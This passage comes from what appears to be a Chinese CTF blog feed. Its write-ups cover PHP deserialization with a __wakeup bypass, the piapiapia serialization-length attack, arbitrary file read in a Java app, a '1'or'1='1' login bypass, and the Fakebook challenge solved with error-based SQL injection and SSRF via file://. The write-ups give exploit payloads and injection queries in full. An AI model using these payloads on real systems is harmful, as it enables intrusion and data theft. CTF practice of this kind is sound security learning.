File{}__close()-->file_get_contents读取flag</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * */</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$db</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{</span><br><span class="line"><span class="comment">// user类无法调用close()函数</span></span><br><span class="line"><span class="comment">// 触发fileList的__call函数</span></span><br><span class="line"> <span class="keyword">$this</span>->db->close();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FileList</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$files</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$results</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$funcs</span>;</span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * __call方法当对象调用一个无法访问的函数时触发该方法</span></span><br><span class="line"><span class="comment"> * 并且触发时会将,调用的函数名赋值给第一个参数,这里为$func=close(),方法的参数赋值给第二个参数$args=null</span></span><br><span class="line"><span class="comment"> * */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$func</span>, <span class="variable">$args</span></span>) </span>{</span><br><span class="line"><span class="comment">// 将close()函数压入$this->funcs数组</span></span><br><span class="line"> array_push(<span class="keyword">$this</span>->funcs, <span class="variable">$func</span>);</span><br><span class="line"><span class="comment">// 从this->files数组中提取数值赋值给$file</span></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="keyword">$this</span>->files <span class="keyword">as</span> <span class="variable">$file</span>) {</span><br><span class="line"><span class="comment">// $file=new File();</span></span><br><span class="line"><span class="comment">// 然后变成了File的对象调用$func。也就是$file->close()</span></span><br><span class="line"><span class="comment">// 读取的结果赋值给$results[]数组,destruct()输出结果</span></span><br><span class="line"> <span class="keyword">$this</span>->results[<span class="variable">$file</span>->name()][<span class="variable">$func</span>] = <span class="variable">$file</span>-><span class="variable">$func</span>();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="comment">#省略了一些影响阅读的table创建代码</span></span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<thead><tr>'</span>;</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="keyword">$this</span>->funcs <span class="keyword">as</span> <span class="variable">$func</span>) {</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<th scope="col" class="text-center">'</span> . htmlentities(<span class="variable">$func</span>) . <span class="string">'</th>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<th scope="col" class="text-center">Opt</th>'</span>;</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'</thead><tbody>'</span>;</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="keyword">$this</span>->results <span class="keyword">as</span> <span class="variable">$filename</span> => <span class="variable">$result</span>) {</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<tr>'</span>;</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$result</span> <span class="keyword">as</span> <span class="variable">$func</span> => <span class="variable">$value</span>) {</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<td class="text-center">'</span> . htmlentities(<span class="variable">$value</span>) . <span class="string">'</td>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'</tr>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">echo</span> <span class="variable">$table</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>14.[极客大挑战 2019]PHP</title>
<link href="/2019/07/30/CTF/14.%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019%5DPHP/"/>
<url>/2019/07/30/CTF/14.%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019%5DPHP/</url>
<content type="html"><![CDATA[<p>考察知识点:</p><p>1.反序列化</p><p>2.__wakkeup的绕过</p><p>3.private,public,属性方法序列化后的差异</p><p><strong>1.本题就是简单的代码审计题</strong></p><p><strong>2.确定反序列化漏洞点</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line">index.php</span><br><span class="line"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">include</span> <span class="string">'class.php'</span>;</span><br><span class="line"><span class="variable">$select</span> = <span class="variable">$_GET</span>[<span class="string">'select'</span>];</span><br><span class="line"><span class="variable">$res</span>=unserialize(@<span class="variable">$select</span>);</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span>.php</span><br><span class="line"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">include</span> <span class="string">'flag.php'</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Name</span></span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$username</span> = <span class="string">'nonono'</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$password</span> = <span class="string">'yesyes'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$username</span>,<span class="variable">$password</span></span>)</span>{</span><br><span class="line"> <span class="keyword">$this</span>->username = <span class="variable">$username</span>;</span><br><span class="line"> <span class="keyword">$this</span>->password = <span class="variable">$password</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">$this</span>->username = <span class="string">'guest'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->password != <span class="number">100</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"</br>NO!!!hacker!!!</br>"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"You name is: "</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="keyword">$this</span>->username;<span class="keyword">echo</span> <span class="string">"</br>"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"You password is: "</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="keyword">$this</span>->password;<span class="keyword">echo</span> <span class="string">"</br>"</span>;</span><br><span class="line"> <span class="keyword">die</span>();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->username === <span class="string">'admin'</span>) {</span><br><span class="line"> <span class="keyword">global</span> <span class="variable">$flag</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="variable">$flag</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"</br>hello my friend~~</br>sorry i can't give you the flag!"</span>;</span><br><span class="line"> <span class="keyword">die</span>();</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><strong>3.攻击流程:</strong></p><p>3.1 构造反序列化数据,触发__construct()方法给username和password赋值</p><p>3.2 改变序列化数据绕过__wakeup()</p><p><strong>4.__wakeup魔法方法在serlize()时触发</strong></p><p>假如原本序列化数据为:</p><p>s:77:”O:4:”Name”:2:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}</p><p>当把Name后的数字2改为3时,就会造成错误,导致无法触发__wakeup()</p><p><strong>5.此题需要注意,Name的属性为私有属性</strong></p><p>不同属性序列化时有些许差异:</p><p><img src="1.png" alt="1"></p><p>可发现private属性序列化时,属性附近会有%00,%00计算机显示时为空格,防复制payload到浏览器时就变为了空格,此时payload就无法打通</p><p>列如:</p><p>s:77:”O:4:”Name”:2:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}</p><p><strong>6. 将payload url编码即可</strong></p><p><img src="2.png" alt="2"></p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>13.[0CTF 2016]piapiapia</title>
<link href="/2019/07/29/CTF/13.%5B0CTF%202016%5Dpiapiapia/"/>
<url>/2019/07/29/CTF/13.%5B0CTF%202016%5Dpiapiapia/</url>
<content type="html"><![CDATA[<p>考察知识点:</p><p>1.数组绕过<em>preg_match()正则表达式</em></p><p>*2.*<strong>改变序列化字符串长度导致反序列化漏洞</strong></p><p><strong>3.<a href="http://www.zip源码泄露/">www.zip源码泄露</a></strong></p><p><strong>1.ctf-scan扫描发现<a href="http://www.zip得到网站源码/">www.zip得到网站源码</a></strong></p><p><strong>2.代码审计</strong></p><p><strong>大体看了一下发现config.php中存在flag</strong></p><p><img src="1.png" alt="1"></p><p><strong>3.seay扫描代码</strong></p><p><img src="2.png" alt="2"></p><p>frofile.php可能存在文件读取漏洞可以得到config.php中的flag</p><p><strong>4.我们只要能控制$peofile[‘photo’]=config.php;即可读取到flag</strong></p><p><img src="3.png" alt="3"></p><p><strong>5.查看$peofile[‘photo’]的值来自何方</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">profile.php</span><br><span class="line"></span><br><span class="line"><span class="variable">$username</span> = <span class="variable">$_SESSION</span>[<span class="string">'username'</span>];</span><br><span class="line"><span class="variable">$profile</span>=<span class="variable">$user</span>->show_profile(<span class="variable">$username</span>);</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span>.php</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">show_profile</span>(<span class="params"><span class="variable">$username</span></span>) </span>{</span><br><span class="line"> <span class="variable">$username</span> = <span class="built_in">parent</span>::filter(<span class="variable">$username</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$where</span> = <span class="string">"username = '<span class="subst">$username</span>'"</span>;</span><br><span class="line"> <span class="variable">$object</span> = <span class="built_in">parent</span>::select(<span class="keyword">$this</span>->table, <span class="variable">$where</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$object</span>->profile;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>所以明白程序逻辑为:根据用户名从数据库中查取$peofile的值</p><p><strong>6.查看数据库中的$profile如何赋值</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">update.php</span><br><span class="line"></span><br><span class="line"><span class="variable">$profile</span>[<span class="string">'phone'</span>] = <span class="variable">$_POST</span>[<span class="string">'phone'</span>];</span><br><span class="line"><span class="variable">$profile</span>[<span class="string">'email'</span>] = <span class="variable">$_POST</span>[<span class="string">'email'</span>];</span><br><span class="line"><span class="variable">$profile</span>[<span class="string">'nickname'</span>] = <span class="variable">$_POST</span>[<span class="string">'nickname'</span>];</span><br><span class="line"><span class="variable">$profile</span>[<span class="string">'photo'</span>] = <span class="string">'upload/'</span> . md5(<span class="variable">$file</span>[<span class="string">'name'</span>]);</span><br><span class="line"></span><br><span class="line"><span class="variable">$user</span>->update_profile(<span class="variable">$username</span>, serialize(<span class="variable">$profile</span>));</span><br></pre></td></tr></table></figure><p><strong>7.考虑sql注入更改数据库内容photo=’config.php’</strong></p><p>但是过滤很严格,无法sql注入</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span>.php</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">filter</span>(<span class="params"><span class="variable">$string</span></span>) </span>{</span><br><span class="line"> <span class="variable">$escape</span> = <span class="keyword">array</span>(<span class="string">'\''</span>, <span class="string">'\\\\'</span>);</span><br><span class="line"> <span class="variable">$escape</span> = <span class="string">'/'</span> . implode(<span class="string">'|'</span>, <span class="variable">$escape</span>) . <span class="string">'/'</span>;</span><br><span class="line"> <span class="variable">$string</span> = preg_replace(<span class="variable">$escape</span>, <span class="string">'_'</span>, <span class="variable">$string</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$safe</span> = <span class="keyword">array</span>(<span class="string">'select'</span>, <span class="string">'insert'</span>, <span class="string">'update'</span>, <span class="string">'delete'</span>, <span class="string">'where'</span>);</span><br><span class="line"> <span class="variable">$safe</span> = <span class="string">'/'</span> . implode(<span class="string">'|'</span>, <span class="variable">$safe</span>) . <span class="string">'/i'</span>;</span><br><span class="line"> <span class="keyword">return</span> preg_replace(<span class="variable">$safe</span>, <span class="string">'hacker'</span>, <span class="variable">$string</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>8.继续考虑其他方法</strong></p><p>发现updatae.php中有一个serialize</p><p><img src="4.png" alt="4"></p><p>rofile.php中有一个unserlize</p><p><img src="5.png" alt="5"></p><p>此时想到:*.*<strong>改变序列化字符串长度导致反序列化漏洞</strong></p><p><strong>只要能随意控制nickname的值,我们就可以利用该漏洞控制photo的值</strong></p><p><strong>改变序列化字符串长度导致反序列化漏洞简介:</strong></p><p><strong>当反序列化时,会自动忽略能正常序列化字符串后面的字符串</strong></p><p><img src="6.png" alt="6"></p><p><strong>可以看到ser和ser3的值反序列化后的值是一样的。</strong></p><p><strong>9.改变序列化字符串长度导致反序列化漏洞在该网站的利用</strong></p><p><strong>9.1 自定义nickname的值,虽然nickname有限制但是可以采用数组绕过</strong></p><p><img src="7.png" alt="7"></p><p><strong>9.2 发现filter能够将白名单中的值替换为hacker</strong></p><p><img src="8.png" alt="8"></p><p><strong>10. 所以构造payload:</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere</span><br><span class="line">wherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere</span><br><span class="line">where<span class="string">";}s:5:"</span>photo<span class="string">";s:10:"</span>config.php</span><br></pre></td></tr></table></figure><p><img src="9.png" alt="9"></p><p><strong>访问profile.php即可得到flagconfig.php的base64编码</strong></p><p><img src="10.png" alt="10"></p><p><strong>11.关于payload的解释</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$nickname</span>=<span class="string">'wherewherewherewherewherewherewherewherewherewherewherewherewhere</span></span><br><span class="line"><span class="string">wherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere</span></span><br><span class="line"><span class="string">wherewherewhere";}s:5:"photo";s:10:"config.php'</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$ser</span>=serialize(<span class="variable">$nickname</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"ser: "</span>.<span class="variable">$ser</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"\n"</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$ser1</span>=str_replace(<span class="string">"where"</span>,<span class="string">"hacker"</span>,<span class="variable">$ser</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"ser1: "</span>.<span class="variable">$ser1</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"\n"</span>;</span><br><span class="line">var_dump(unserialize(<span class="variable">$ser1</span>));</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">输出:</span><br><span class="line">ser: s:<span class="number">186</span>:<span class="string">"wherewherewherewherewherewherewherewherewherewherewherewherewher</span></span><br><span class="line"><span class="string">ewherewherewherewherewherewherewherewherewherewherewherewherewherewhere</span></span><br><span class="line"><span class="string">wherewherewherewhere"</span>;}s:<span class="number">5</span>:<span class="string">"photo"</span>;s:<span class="number">10</span>:<span class="string">"config.php"</span>;</span><br><span class="line"></span><br><span class="line">ser1: s:<span class="number">186</span>:<span class="string">"hackerhackerhackerhackerhackerhackerhackerhackerhackerhacke</span></span><br><span class="line"><span class="string">rhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker</span></span><br><span class="line"><span class="string">hackerhackerhackerhackerhackerhackerhackerhackerhacke</span></span><br><span class="line"><span class="string">r"</span>;}s:<span class="number">5</span>:<span class="string">"photo"</span>;s:<span class="number">10</span>:<span class="string">"config.php"</span>;</span><br><span class="line"></span><br><span class="line">H:\WWW\www\exp.php:<span class="number">28</span>:</span><br><span class="line"><span class="keyword">string</span>(<span class="number">186</span>) <span class="string">"hackerhackerhackerhackerhackerhackerhackerhackerhackerhacker</span></span><br><span class="line"><span class="string">hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker</span></span><br><span class="line"><span class="string">hackerhackerhackerhackerhackerhackerhackerhackerhacker"</span></span><br><span class="line"></span><br><span class="line">可见有<span class="number">34</span>个where替换为hacker序列化数据增加了<span class="number">34</span>个字节的长度刚好把,</span><br><span class="line">;}s:<span class="number">5</span>:<span class="string">"photo"</span>;s:<span class="number">10</span>:<span class="string">"config.php"</span> 挤出了nickname的序列化数据而,</span><br><span class="line">;}s:<span class="number">5</span>:<span class="string">"photo"</span>;s:<span class="number">10</span>:<span class="string">"config.php"</span> 成为了下一个数据photo的序列化数据,</span><br><span class="line">当反序列化时nickname=hacker....</span><br><span class="line">而photo=config.php</span><br><span class="line">此时读取到了flag</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>12.[RoarCTF 2019]Easy Java</title>
<link href="/2019/07/29/CTF/12.%5BRoarCTF%202019%5DEasy%20Java/"/>
<url>/2019/07/29/CTF/12.%5BRoarCTF%202019%5DEasy%20Java/</url>
<content type="html"><![CDATA[<p><strong>考察知识点:</strong></p><p><strong>1.Java 任意文件读取</strong></p><p><strong>2. java配置文件web.xml读取</strong></p><p><strong>1.访问help</strong></p><p><img src="1.png" alt="1"></p><p><strong>2. 感觉是文件读取,改为post请求</strong></p><p><img src="2.png" alt="2"></p><p><strong>3. 尝试读取java的配置文件</strong></p><p>找到flag文件所在位置</p><p><img src="3.png" alt="3"></p><p><strong>4.尝试读取flag文件</strong></p><p>java编译的class文件存放在classes文件下:</p><p>然后访问flag,因为时目录,所以需要将.换位/</p><p>所以访问:</p><p> /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class</p><p><img src="4.png" alt="4"></p><p>base64解码即可得到flag</p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>11.[极客大挑战 2019]easysql</title>
<link href="/2019/07/28/CTF/11.%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019%5Deasysql/"/>
<url>/2019/07/28/CTF/11.%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019%5Deasysql/</url>
<content type="html"><![CDATA[<p>考察知识点:</p><p>1.万能密码</p><p>\1. 随便输入提示密码错误</p><p>2.输入单引号报错,尝试报错注入,一直不对</p><p>3.后在password处尝试1’or’1=’1登陆得到flag</p><p><img src="1.png" alt="1"></p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>10.[网鼎杯 2018]Fakebook</title>
<link href="/2019/07/27/CTF/10.%5B%E7%BD%91%E9%BC%8E%E6%9D%AF%202018%5DFakebook/"/>
<url>/2019/07/27/CTF/10.%5B%E7%BD%91%E9%BC%8E%E6%9D%AF%202018%5DFakebook/</url>
<content type="html"><![CDATA[<p><strong>考察知识点:</strong></p><p>1.sql报错注入</p><p>2.ssrf搭配序列化</p><p>3.robots.txt</p><p>4.file:///协议</p><p><strong>1.访问robots.txt</strong></p><p>提示存在/user.php.bak</p><p><img src="1.png" alt="1"></p><p><strong>2.user.php</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UserInfo</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$name</span> = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$age</span> = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$blog</span> = <span class="string">""</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$name</span>, <span class="variable">$age</span>, <span class="variable">$blog</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->name = <span class="variable">$name</span>;</span><br><span class="line"> <span class="keyword">$this</span>->age = (<span class="keyword">int</span>)<span class="variable">$age</span>;</span><br><span class="line"> <span class="keyword">$this</span>->blog = <span class="variable">$blog</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">get</span>(<span class="params"><span class="variable">$url</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable">$ch</span> = curl_init();</span><br><span class="line"></span><br><span class="line"> curl_setopt(<span class="variable">$ch</span>, CURLOPT_URL, <span class="variable">$url</span>);</span><br><span class="line"> curl_setopt(<span class="variable">$ch</span>, CURLOPT_RETURNTRANSFER, <span class="number">1</span>);</span><br><span class="line"> <span class="variable">$output</span> = curl_exec(<span class="variable">$ch</span>);</span><br><span class="line"> <span class="variable">$httpCode</span> = curl_getinfo(<span class="variable">$ch</span>, CURLINFO_HTTP_CODE);</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$httpCode</span> == <span class="number">404</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">404</span>;</span><br><span class="line"> }</span><br><span class="line"> curl_close(<span class="variable">$ch</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$output</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getBlogContents</span> (<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->get(<span class="keyword">$this</span>->blog);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">isValidBlog</span> (<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable">$blog</span> = <span class="keyword">$this</span>->blog;</span><br><span class="line"> <span class="keyword">return</span> preg_match(<span class="string">"/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i"</span>, <span class="variable">$blog</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>get方法,明显存在ssrf漏洞,__construct也有可能存在序列化</p><p>同时访问flag.php也存在flag.php文件,所以大体思路就是ssrf访问flag.php文件得到flag</p><p><strong>3.发现view.php存在sql注入漏洞</strong></p><p>有报错,所以考虑报错注入,注入没有任何限制,注入得到</p><p><strong>3.1.查表名</strong></p><p>?no=1 and updatexml(1,make_set(7,’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#</p><p><img src="2.png" alt="2"></p><p><strong>3.2.查字段</strong></p><p>?no=1 and updatexml(1,make_set(7,’~’,(select group_concat(column_name) from information_schema.columns where table_name=”users”)),1)#</p><p><img src="3.png" alt="3"></p><p><strong>3.3.查数据</strong></p><p>?no=1 and updatexml(1,make_set(7,’~’,(select data from users)),1)#</p><p><img src="4.png" alt="4"></p><p><strong>4.得到的data字段的数据为序列化数据</strong></p><p>此时可以大体推断view.php从数据库中读取序列化数据然后反序列化时触发user.php中的__construct函数赋值,并显示出来</p><p><strong>5.结合user.php中的ssrf漏洞,此时可以大体明白攻击思路</strong></p><p><strong>5.1 构造序列化数据</strong></p><p><strong>5.2sql注入漏洞查询触发,构造的序列化数据,得到flag.php文件的内容</strong></p><p><strong>6.构造序列化数据</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UserInfo</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$name</span> = <span class="string">"s"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$age</span> = <span class="number">10</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$blog</span> = <span class="string">"file:///var/www/html/flag.php"</span>;</span><br><span class="line"> <span class="comment">//public $blog=http://afd9e3f3-e747-4959-b506-f86d8accc887.node3.buuoj.cn/flag.php</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="variable">$u</span>=<span class="keyword">new</span> UserInfo();</span><br><span class="line"><span 